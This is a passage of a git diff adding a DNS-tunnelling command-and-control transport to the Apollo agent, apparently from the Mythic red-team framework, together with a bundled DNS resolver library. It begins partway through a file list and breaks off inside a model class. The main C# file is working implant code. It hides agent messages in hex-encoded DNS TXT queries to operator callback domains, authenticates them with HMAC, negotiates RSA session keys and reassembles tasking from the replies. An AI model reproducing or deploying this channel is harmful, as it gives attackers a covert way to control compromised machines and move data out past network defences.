Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsResponse.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ParseResult.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/Record.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordA.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordAaaa.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordCName.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordMx.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordNs.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordPtr.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordSoa.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordTxt.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordUnknown.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ResolveResponse.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Parser.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Resolver.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AdditionalReader.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AnswerReader.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AuthorityReader.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordHelper.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordReader.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/SocketHelper.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/Validator.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/Properties/AssemblyInfo.cs diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs new file mode 100644 index 00000000..d21c32a3 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs @@ -0,0 +1,951 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using ApolloInterop.Classes; +using ApolloInterop.Interfaces; +using ApolloInterop.Structs.MythicStructs; +using ApolloInterop.Types.Delegates; +using ApolloInterop.Serializers; +using System.Net; +using System.IO; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using ApolloInterop.Enums.ApolloEnums; +using System.Net.NetworkInformation; +using System.Net.Sockets; +using DnsRip; + +namespace DnsTransport +{ + public class DnsProfile : C2Profile, IC2Profile + { + private int server_turn = 2; + private int agent_turn = 1; + private int message_count_turn = 3; + private int reset_turn = 4; + private string cache_code = ""; + private string cached_message_server = ""; + private string cached_message_client = ""; + private int CallbackInterval; + private int CallbackJitter; + private bool EncryptedExchangeCheck; + private string TerminateDate; + private object lockerSend = new object(); + private object lockerErrorCount = new object(); + + public object lockerDnsMsg = new object(); + private string InitializationMessagePrefix; + private string DefaultMessagePrefix; + private string HmacKey; + + public JsonSerializer aux_serial = new JsonSerializer(); + + Dictionary threads_msg = new Dictionary(); + Dictionary dns_msg = new Dictionary(); + + public volatile bool is_fallback = false; + public volatile int error_count_p1 = 0; + public volatile int error_count_p2 = 0; + private int MAX_ERROR_TOLERANCE_1 = 50; + private int MAX_ERROR_TOLERANCE_2 = 25; + private volatile int max_threads_conn = 10; + int[] next_msg_queue; + Thread next_msg_organizer; + + private bool is_init = false; + private bool finished_sending = false; + private int message_count = 0; + + List domains; + private volatile int bit_flip = 0; + DnsRip.Resolver dnsRip; + private int channel; + private int init_seq; + private volatile int next_seq; + private int end_seq; + + + private bool _uuidNegotiated = false; + + public DnsProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) + { + CallbackInterval = int.Parse(data["callback_interval"]); + CallbackJitter = int.Parse(data["callback_jitter"]); + InitializationMessagePrefix = data["msginit"]; + DefaultMessagePrefix = data["msgdefault"]; + HmacKey = data["hmac_key"]; + EncryptedExchangeCheck = data["encrypted_exchange_check"] == "T"; + // Necessary to disable certificate validation + domains = data["callback_domains"].Split(',').ToList(); + this.next_msg_queue = new int[this.max_threads_conn]; + dnsRip = new DnsRip.Resolver(GetDnsAddress()); + reset_init_all(); + Agent.SetSleep(CallbackInterval, CallbackJitter); + } + + public void reset_init_all() + { + this.error_count_p1 = 0; + this.error_count_p2 = 0; + this.finished_sending = false; + this.bit_flip = 0; + this.is_init = false; + this.cached_message_client = ""; + this.cached_message_server = ""; + channel = initialize_ch_seq(); + init_seq = initialize_ch_seq(); + this.dns_msg.Clear(); + initialize_Channel_conn(); + + } + + + public void set_error() + { + lock (lockerErrorCount) + { + if (this.is_fallback == false) + { + this.error_count_p1 += 1; + } + else + { + this.error_count_p2 += 1; + } + } + + } + + public void reset_error_count() + { + lock (lockerErrorCount) + { + this.error_count_p1 = 0; + this.error_count_p2 = 0; + this.is_fallback = false; + this.max_threads_conn = 10; + } + } + + public void set_fallback() + { + this.max_threads_conn = 1; + this.is_fallback = true; + + } + + public void check_fallback() + { + if (this.is_fallback == true) + { + Thread.Sleep(this.CallbackInterval * 1000); + } + } + + + //message pattern: + //mesg : _______.___________.________.________.__________ + // PREFIX SID + SEQ BYTES HMAC DOMAIN + //hmac = (md5) 32 + // seq + sid = 8 + //prefix = ~ + //domain = ~ + + public string GetDnsAddress() + { + while (true) + { + NetworkInterface[] networkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); + + foreach (NetworkInterface networkInterface in networkInterfaces) + { + if (networkInterface.OperationalStatus == OperationalStatus.Up) + { + IPInterfaceProperties ipProperties = networkInterface.GetIPProperties(); + IPAddressCollection dnsAddresses = ipProperties.DnsAddresses; + + foreach (IPAddress dnsAdress in dnsAddresses) + { + if (dnsAdress.AddressFamily == AddressFamily.InterNetwork) + { + return dnsAdress.ToString(); + } + + } + } + } + Agent.Sleep(); + } + } + + public int initialize_ch_seq() + { + Random rd_ch = new Random(); + return rd_ch.Next(0, 200); + } + + public void initialize_Channel_conn() + { + while (is_init == false) + { + + send_init_request(); + Agent.Sleep(); + } + } + + public string get_random_domain_query() + { + var random = new Random(); + int index = random.Next(domains.Count); + return domains[index]; + } + + public Dictionary parse_message(string message) + { + + string[] fields = message.Split('.'); + Dictionary dFields = new Dictionary(); + dFields["tsid"] = fields[0]; + dFields["bit_flip"] = fields[1]; + dFields["data"] = fields[2]; + + return dFields; + } + + public bool send_reset_request() + { + + int maximum_size_messages = 63; + string random_message = GenerateUniqueHexString(maximum_size_messages); + string hex_channel = String.Format("{0:X2}", this.channel); + string hex_seq = String.Format("{0:X6}", this.init_seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + random_message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + + + string message = DefaultMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + get_random_domain_query(); + + + string result = ""; + try + { + result = dnsRip.Resolve(message, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + set_error(); + result = ""; + + return false; + } + + try + { + if (!string.IsNullOrEmpty(result)) + { + Dictionary dFields = parse_message(result); + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + if (channel != this.channel) + { + this.channel = channel; + + } + this.bit_flip = this.agent_turn; + this.next_seq = seq; + this.init_seq = seq; + this.dns_msg.Clear(); + + reset_error_count(); + return true; + } + else + { + return false; + } + } + catch (Exception ex) + { + result = ""; + return false; + } + } + + public void reset_cycle() + { + while (true) + { + check_fallback(); + if (send_reset_request() == true) + { + break; + } + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + } + + } + + public void send_init_request() + { + int maximum_size_messages = 63; + string random_message = GenerateUniqueHexString(maximum_size_messages); + this.cache_code = random_message; + string hex_channel = String.Format("{0:X2}", channel); + string hex_seq = String.Format("{0:X6}", init_seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + random_message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + + string message = InitializationMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + get_random_domain_query(); + + string result = ""; + try + { + result = dnsRip.Resolve(message, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + result = ""; + } + try + { + if (!string.IsNullOrEmpty(result)) + { + Dictionary dFields = parse_message(result); + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + if (channel != this.channel) + { + this.channel = channel; + + } + + + this.is_init = true; + this.bit_flip = this.agent_turn; + this.next_seq = seq; + this.init_seq = seq; + } + } + catch (Exception ex) + { + result = ""; + } + } + + + public int get_maximum_size_dns(string prefix, string domain) + { + return (255 - prefix.Length - domain.Length - 32 - 8); + } + + public List SplitByLength(string str, int maxLength) + { + List parts = new List(); + for (int index = 0; index < str.Length; index += maxLength) + { + parts.Add(str.Substring(index, Math.Min(maxLength, str.Length - index))); + } + return parts; + } + + + public void setup_message_list(string message, string domain, bool is_cache) + { + IEnumerable dns_msg_arr; + //int maximum_size_messages = get_maximum_size_dns(sDefaultMessagePrefix, domain); + int maximum_size_messages = 63; + if (is_cache == false) + { + byte[] ba_str = Encoding.Default.GetBytes(message); + var hexString = BitConverter.ToString(ba_str); + hexString = hexString.Replace("-", ""); + dns_msg_arr = this.SplitByLength(hexString, maximum_size_messages); + } + else + { + dns_msg_arr = this.SplitByLength(message, maximum_size_messages); + } + int index = 0; + foreach (var msg_chunk in dns_msg_arr) + { + this.dns_msg[index] = msg_chunk; + index = index + 1; + } + this.end_seq = this.next_seq + this.dns_msg.Count; + this.bit_flip = this.agent_turn; + } + + public void add_packet(int seq, string packet) + { + lock (lockerDnsMsg) + { + + int packet_pos = seq - this.init_seq; + + + this.dns_msg[packet_pos] = packet; + + if (this.dns_msg.Count == this.message_count) + { + this.bit_flip = this.reset_turn; + } + } + } + + //send dns query using thread + //mesg : _______.___________.________.________.__________ + // PREFIX SID + SEQ BYTES HMAC DOMAIN + public void dnsquery(int seq, string domain, bool is_cache) + { + string result = ""; + try + { + string message; + if (this.bit_flip == this.agent_turn) + { + if (this.dns_msg.ContainsKey(seq - this.init_seq) && is_cache == false) + { + message = this.dns_msg[seq - this.init_seq]; + } + else + { + if (is_cache == true) + { + message = this.dns_msg[0]; + } + else + { + this.bit_flip = this.message_count_turn; + return; + } + } + } + else + { + int maximum_size_messages = 63; + message = GenerateUniqueHexString(maximum_size_messages); + } + try + { + string hex_channel = String.Format("{0:X2}", this.channel); + string hex_seq = String.Format("{0:X6}", seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + + string data_query = DefaultMessagePrefix + "." + tsid + "." + message + "." + hmac_section + "." + domain; + result = ""; + + result = dnsRip.Resolve(data_query, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + result = null; + } + if (!string.IsNullOrEmpty(result)) + { + + try + { + Dictionary dFields = parse_message(result); + int resp_bit_flip = Int32.Parse(dFields["bit_flip"]); + if (resp_bit_flip == this.message_count_turn) + { + this.bit_flip = this.message_count_turn; + return; + } + if (resp_bit_flip == this.agent_turn || resp_bit_flip == this.server_turn) + { + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq_resp = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + if (this.bit_flip == this.agent_turn) + { + if (this.next_seq < seq_resp) + { + this.next_seq = seq_resp; + } + if (seq_resp >= this.end_seq) + { + this.bit_flip = this.message_count_turn; + } + if (is_cache == true) + { + this.bit_flip = this.message_count_turn; + this.next_seq = this.end_seq; + } + } + else + { + if (Int32.Parse(dFields["bit_flip"]) == 2) + { + if (dFields.ContainsKey("data") && !string.IsNullOrEmpty(dFields["data"])) + { + try + { + add_packet(seq_resp, dFields["data"]); + } + catch (Exception ex) + { + this.bit_flip = this.reset_turn; + } + } + } + } + } + if (Int32.Parse(dFields["bit_flip"]) == 4) + { + this.bit_flip = this.reset_turn; + } + reset_error_count(); + } + catch (Exception ex) + { + result = ""; + } + } + else + { + set_error(); + } + } + catch (Exception ex) + { + } + } + + public void setup_thread_reqs(int seq, string domain, bool is_cache) + { + if (this.bit_flip == this.agent_turn) + { + if (is_cache == true) + { + dnsquery(seq, domain, is_cache); + } + else + { + for (int i = 0; i < this.max_threads_conn && seq + i < this.end_seq && this.bit_flip == this.agent_turn; i++) + { + check_fallback(); + Thread dnsthread = new Thread(() => dnsquery(seq + i, domain, is_cache)); + dnsthread.Start(); + threads_msg[i] = dnsthread; + } + for (int i = 0; i < max_threads_conn; i++) + { + threads_msg[i].Join(); + } + } + } + else + { + try + { + for (int i = 0; i < this.next_msg_queue.Length && i < this.message_count && i < this.max_threads_conn && this.bit_flip == this.server_turn; i++) + { + check_fallback(); + int new_start = seq + this.next_msg_queue[i]; + Thread dnsthread = new Thread(() => dnsquery(new_start, domain, is_cache)); + dnsthread.Start(); + threads_msg[i] = dnsthread; + } + for (int i = 0; i < max_threads_conn; i++) + { + threads_msg[i].Join(); + } + } + catch (Exception ex) + {} + } + } + + public void send_dns_data(string domain, bool is_cache) + { + while (this.bit_flip == this.agent_turn) + { + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + int starting_point = this.next_seq; + setup_thread_reqs(starting_point, domain, is_cache); + } + } + public string GenerateUniqueHexString(int length) + { + string StringChars = "0123456789abcdef"; + Random rand = new Random(); + var charList = StringChars.ToArray(); + string hexString = ""; + + for (int i = 0; i < length; i++) + { + int randIndex = rand.Next(0, charList.Length); + hexString += charList[randIndex]; + } + + return hexString; + } + + public void set_message_count(string domain) + { + while (this.bit_flip == this.message_count_turn) + { + check_fallback(); + //int maximum_size_messages = get_maximum_size_dns(sDefaultMessagePrefix, domain); + string result = ""; + try + { + int maximum_size_messages = 63; + string random_message = GenerateUniqueHexString(maximum_size_messages); + + string hex_channel = String.Format("{0:X2}", channel); + string hex_seq = String.Format("{0:X6}", this.next_seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + random_message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + + string data_query = DefaultMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + domain; + + result = dnsRip.Resolve(data_query, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + } + //setup next x threads ( x = max_threads_conn) + // + if (!string.IsNullOrEmpty(result)) + { + Dictionary dFields = parse_message(result); + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq_resp = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + this.init_seq = seq_resp; + this.next_seq = 0; + this.message_count = int.Parse(dFields["data"], System.Globalization.NumberStyles.HexNumber); + this.bit_flip = this.server_turn; + this.end_seq = seq_resp + this.message_count; + this.dns_msg.Clear(); + reset_error_count(); + } + else + { + set_error(); + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + } + } + } + + public void message_organizer() + { + //while (this.bit_flip == this.server_turn) + //{ + //keep walking in the packets dictionary + //until there is a gap + //fill the next msg queue with the gap considering the maximum count of threads + while (this.dns_msg.ContainsKey(this.next_seq) && this.next_seq < this.message_count) + { + this.next_seq = this.next_seq + 1; + } + + for (int i = 0; i < max_threads_conn && this.bit_flip == this.server_turn; i++) + { + if ((this.next_seq + i) < this.message_count) + { + this.next_msg_queue[i] = this.next_seq + i; + } + else + { + this.next_msg_queue[i] = this.next_seq; + } + + } + //} + } + + public void init_next_msg_queue() + { + for (int i = 0; i < next_msg_queue.Length; i++) + { + next_msg_queue[i] = i; + } + } + + public string get_dns_data(string domain, bool is_cache) + { + this.bit_flip = this.server_turn; + init_next_msg_queue(); + //Thread msgorganizer_thread = new Thread(() => message_organizer()); + //msgorganizer_thread.Start(); + int starting_point = this.init_seq; + while (this.bit_flip == this.server_turn) + { + //setup next x threads ( x = max_threads_conn) + // + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + try + { + setup_thread_reqs(starting_point, domain, is_cache); + } + catch (Exception ex) + { + } + message_organizer(); + } + return build_message(); + } + + public static string HextoString(string InputText) + { + + byte[] bb = Enumerable.Range(0, InputText.Length) + .Where(x => x % 2 == 0) + .Select(x => Convert.ToByte(InputText.Substring(x, 2), 16)) + .ToArray(); + return System.Text.Encoding.ASCII.GetString(bb); + } + + public string build_message() + { + string full_msg = ""; + for (int i = 0; i < this.message_count; i++) + { + full_msg = full_msg + this.dns_msg[i]; + } + if (full_msg == this.cache_code) + { + return full_msg; + } + full_msg = HextoString(full_msg); + return full_msg; + } + + + public void Start() + { + bool first = true; + while (Agent.IsAlive()) + { + bool bRet = GetTasking(delegate (MessageResponse resp) + { + return Agent.GetTaskManager().ProcessMessageResponse(resp); + }); + + if (!bRet) + { + break; + } + + Agent.Sleep(); + } + } + + private bool GetTasking(OnResponse onResp) + { + return Agent.GetTaskManager().CreateTaskingMessage(delegate (TaskingMessage msg) + { + return SendRecv(msg, onResp); + }); + } + + public bool IsOneWay() + { + return false; + } + + public bool Send(T message) + { + throw new Exception("DnsProfile does not support Send only."); + } + + public bool Recv(OnResponse onResponse) + { + throw new Exception("DnsProfile does not support Recv only."); + } + + public bool Recv(MessageType mt, OnResponse onResp) + { + throw new NotImplementedException("DnsProfile does not support Recv only."); + } + + public bool CompareMessages(T message, TaskingMessage previous_message) + { + try + { + + TaskingMessage new_message = (TaskingMessage)(object)message; + if (new_message.GetTypeCode() != MessageType.TaskingMessage) + { + return false; + } + if (previous_message.Equals(message)) + { + return true; + } + else + { + return false; + } + } + catch (Exception ex) + { } + return false; + } + + + public bool SendRecv(T message, OnResponse onResponse) + { + + string sMsg = ""; + string payload = ""; + bool is_cache = false; + string auxMsg = aux_serial.Serialize(message); + if (auxMsg == this.cached_message_client) + { + is_cache = true; + sMsg = this.cache_code; + } + else + { + this.cached_message_client = auxMsg; + sMsg = Serializer.Serialize(message); + } + string result; + int busyCount = 0; + string domain = get_random_domain_query(); + setup_message_list(sMsg, domain, is_cache); + int count = 0; + while (true) + { + try + { + send_dns_data(domain, is_cache); + set_message_count(domain); + string enc_message = get_dns_data(domain, is_cache);//sent dns data, start receiving response + if (enc_message == this.cache_code) + { + result = this.cached_message_server; + } + else + { + result = enc_message; + this.cached_message_server = result; + onResponse(Serializer.Deserialize(result)); + } + + reset_cycle(); + break; + } + + catch (Exception ex) + { + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + reset_init_all(); + } + return false; + } + } + //DebugWriteLine("Releasing egress mutex handle..."); + count = count + 1; + return true; + } + + // Only really used for bind servers so this returns empty + public bool Connect() + { + return true; + } + + public bool IsConnected() + { + return Connected; + } + + public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) + { + if (EncryptedExchangeCheck && !_uuidNegotiated) + { + var rsa = Agent.GetApi().NewRSAKeyPair(4096); + + EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() + { + Action = "staging_rsa", + PublicKey = rsa.ExportPublicKey(), + SessionID = rsa.SessionId + }; + + if (!SendRecv(handshake1, delegate (EKEHandshakeResponse respHandshake) + { + byte[] tmpKey = rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); + ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); + ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); + return true; + })) + { + return false; + } + } + string msg = Serializer.Serialize(checkinMsg); + return SendRecv(checkinMsg, delegate (MessageResponse mResp) + { + Connected = true; + if (!_uuidNegotiated) + { + ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); + _uuidNegotiated = true; + } + return onResp(mResp); + }); + } + + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj new file mode 100644 index 00000000..290b3682 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj @@ -0,0 +1,78 @@ + + + + + Debug + AnyCPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E} + Library + DnsProfile + DnsProfile + v4.0 + 512 + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Enums.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Enums.cs new file mode 100644 index 00000000..b50f261e --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Enums.cs @@ -0,0 +1,24 @@ +// ReSharper disable InconsistentNaming + +namespace DnsRip +{ + public enum InputType + { + Ip, + Hostname, + Invalid + } + + public enum QueryType + { + A = 1, + AAAA = 28, + CNAME = 5, + NS = 2, + MX = 15, + SOA = 6, + TXT = 16, + PTR = 12, + ANY = 255 + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Extensions/Extensions.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Extensions/Extensions.cs new file mode 100644 index 00000000..67607d2f --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Extensions/Extensions.cs @@ -0,0 +1,79 @@ +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; +using System.Text; + +namespace DnsRip.Extensions +{ + internal static class Extensions + { + internal static IEnumerable ToNetByteOrder(this ushort value) + { + return BitConverter.GetBytes(IPAddress.HostToNetworkOrder((short)value)); + } + + internal static IEnumerable ToNetByteOrder(this QueryType value) + { + return ((ushort)value).ToNetByteOrder(); + } + + internal static IEnumerable ToNetByteOrder(this int value) + { + return ((ushort)value).ToNetByteOrder(); + } + + internal static string ToNameFormat(this string query) + { + if (!query.EndsWith(".")) + query += "."; + + return query; + } + + internal static string FromNameFormat(this string query) + { + if (query.EndsWith(".")) + query = query.TrimEnd('.'); + + return query; + } + + internal static string ToArpaRequest(this string query) + { + IPAddress ip; + + if (!IPAddress.TryParse(query, out ip)) + return query; + + var result = new StringBuilder(); + + switch (ip.AddressFamily) + { + case AddressFamily.InterNetwork: + { + result.Append("in-addr.arpa."); + + foreach (var b in ip.GetAddressBytes()) + result.Insert(0, $"{b}."); + + return result.ToString(); + } + case AddressFamily.InterNetworkV6: + { + result.Append("ip6.arpa."); + + foreach (var b in ip.GetAddressBytes()) + { + result.Insert(0, $"{(b >> 4) & 0xf:x}."); + result.Insert(0, $"{(b >> 0) & 0xf:x}."); + } + + return result.ToString(); + } + } + + return query; + } + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsHeader.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsHeader.cs new file mode 100644 index 00000000..7e634478 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsHeader.cs @@ -0,0 +1,95 @@ +using DnsRip.Extensions; +using DnsRip.Utilites; +using System; +using System.Collections.Generic; + +namespace DnsRip.Models +{ + public class DnsHeader + { + public DnsHeader() + { + _id = (ushort)new Random().Next(); + + OpCode = 0; + QdCount = 1; + Recursive = true; + } + + public DnsHeader(RecordHelper helper) + { + _id = helper.ReadUInt16(); + _flags = helper.ReadUInt16(); + + QdCount = helper.ReadUInt16(); + AnCount = helper.ReadUInt16(); + NsCount = helper.ReadUInt16(); + ArCount = helper.ReadUInt16(); + } + + public ushort QdCount; + public ushort AnCount; + public ushort NsCount; + public ushort ArCount; + + public int OpCode + { + get { return GetBits(_flags, 11, 4); } + set { _flags = SetBits(_flags, 11, 4, (ushort)value); } + } + + public bool Recursive + { + get { return GetBits(_flags, 8, 1) == 1; } + set { _flags = SetBits(_flags, 8, 1, value); } + } + + public byte[] Data + { + get + { + var data = new List(); + + data.AddRange(_id.ToNetByteOrder()); + data.AddRange(_flags.ToNetByteOrder()); + data.AddRange(QdCount.ToNetByteOrder()); + data.AddRange(AnCount.ToNetByteOrder()); + data.AddRange(NsCount.ToNetByteOrder()); + data.AddRange(ArCount.ToNetByteOrder()); + + return data.ToArray(); + } + } + + private readonly ushort _id; + private ushort _flags; + + private static ushort GetBits(ushort oldValue, int position, int length) + { + if (length <= 0 || position >= 16) + return 0; + + var mask = (2 << (length - 1)) - 1; + + return (ushort)((oldValue >> position) & mask); + } + + private static ushort SetBits(ushort oldValue, int position, int length, ushort newValue) + { + if (length <= 0 || position >= 16) + return oldValue; + + var mask = (2 << (length - 1)) - 1; + + oldValue &= (ushort)~(mask << position); + oldValue |= (ushort)((newValue & mask) << position); + + return oldValue; + } + + private static ushort SetBits(ushort oldValue, int position, int length, bool blnValue) + { + return SetBits(oldValue, position, length, blnValue ? (ushort)1 : (ushort)0); + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsQuestion.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsQuestion.cs new file mode 100644 index 00000000..fa4d4264 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsQuestion.cs @@ -0,0 +1,83 @@ +using DnsRip.Extensions; +using DnsRip.Utilites; +using System.Collections.Generic; +using System.Text; + +namespace DnsRip.Models +{ + public class DnsQuestion + { + public DnsQuestion(string query, QueryType type) + { + Query = query; + + _type = type; + _class = 1; + } + + public DnsQuestion(RecordHelper helper) + { + Query = helper.ReadDomainName(); + + _type = (QueryType)helper.ReadUInt16(); + _class = helper.ReadUInt16(); + } + + public byte[] Data + { + get + { + var data = new List(); + + data.AddRange(QueryToBytes()); + data.AddRange(_type.ToNetByteOrder()); + data.AddRange(_class.ToNetByteOrder()); + + return data.ToArray(); + } + } + + private string Query + { + get { return _query; } + set { _query = value.ToNameFormat(); } + } + + private string _query; + private readonly QueryType _type; + private readonly int _class; + + private IEnumerable QueryToBytes() + { + var query = Query.ToNameFormat(); + + if (query == ".") + return new byte[1]; + + var sb = new StringBuilder(); + int i, j, len = query.Length; + + sb.Append('\0'); + + for (i = 0, j = 0; i < len; i++, j++) + { + sb.Append(query[i]); + + if (query[i] != '.') + continue; + + sb[i - j] = (char)(j & 0xff); + j = -1; + } + + sb[sb.Length - 1] = '\0'; + + return Encoding.ASCII.GetBytes(sb.ToString()); + } + + public override string ToString() + { + return $"{Query,-32}\t{_class}\t{_type}"; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsRequest.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsRequest.cs new file mode 100644 index 00000000..852747cb --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsRequest.cs @@ -0,0 +1,27 @@ +using System.Collections.Generic; + +namespace DnsRip.Models +{ + public class DnsRequest + { + public DnsRequest(DnsHeader header, DnsQuestion question) + { + _header = header; + _question = question; + } + + private readonly DnsHeader _header; + private readonly DnsQuestion _question; + + public byte[] Data + { + get + { + var data = new List(); + data.AddRange(_header.Data); + data.AddRange(_question.Data); + return data.ToArray(); + } + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsResponse.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsResponse.cs new file mode 100644 index 00000000..25bcce8d --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsResponse.cs @@ -0,0 +1,44 @@ +using DnsRip.Utilites; +using System.Collections.Generic; + +namespace DnsRip.Models +{ + public class DnsResponse + { + public DnsResponse(byte[] data) + { + var record = new 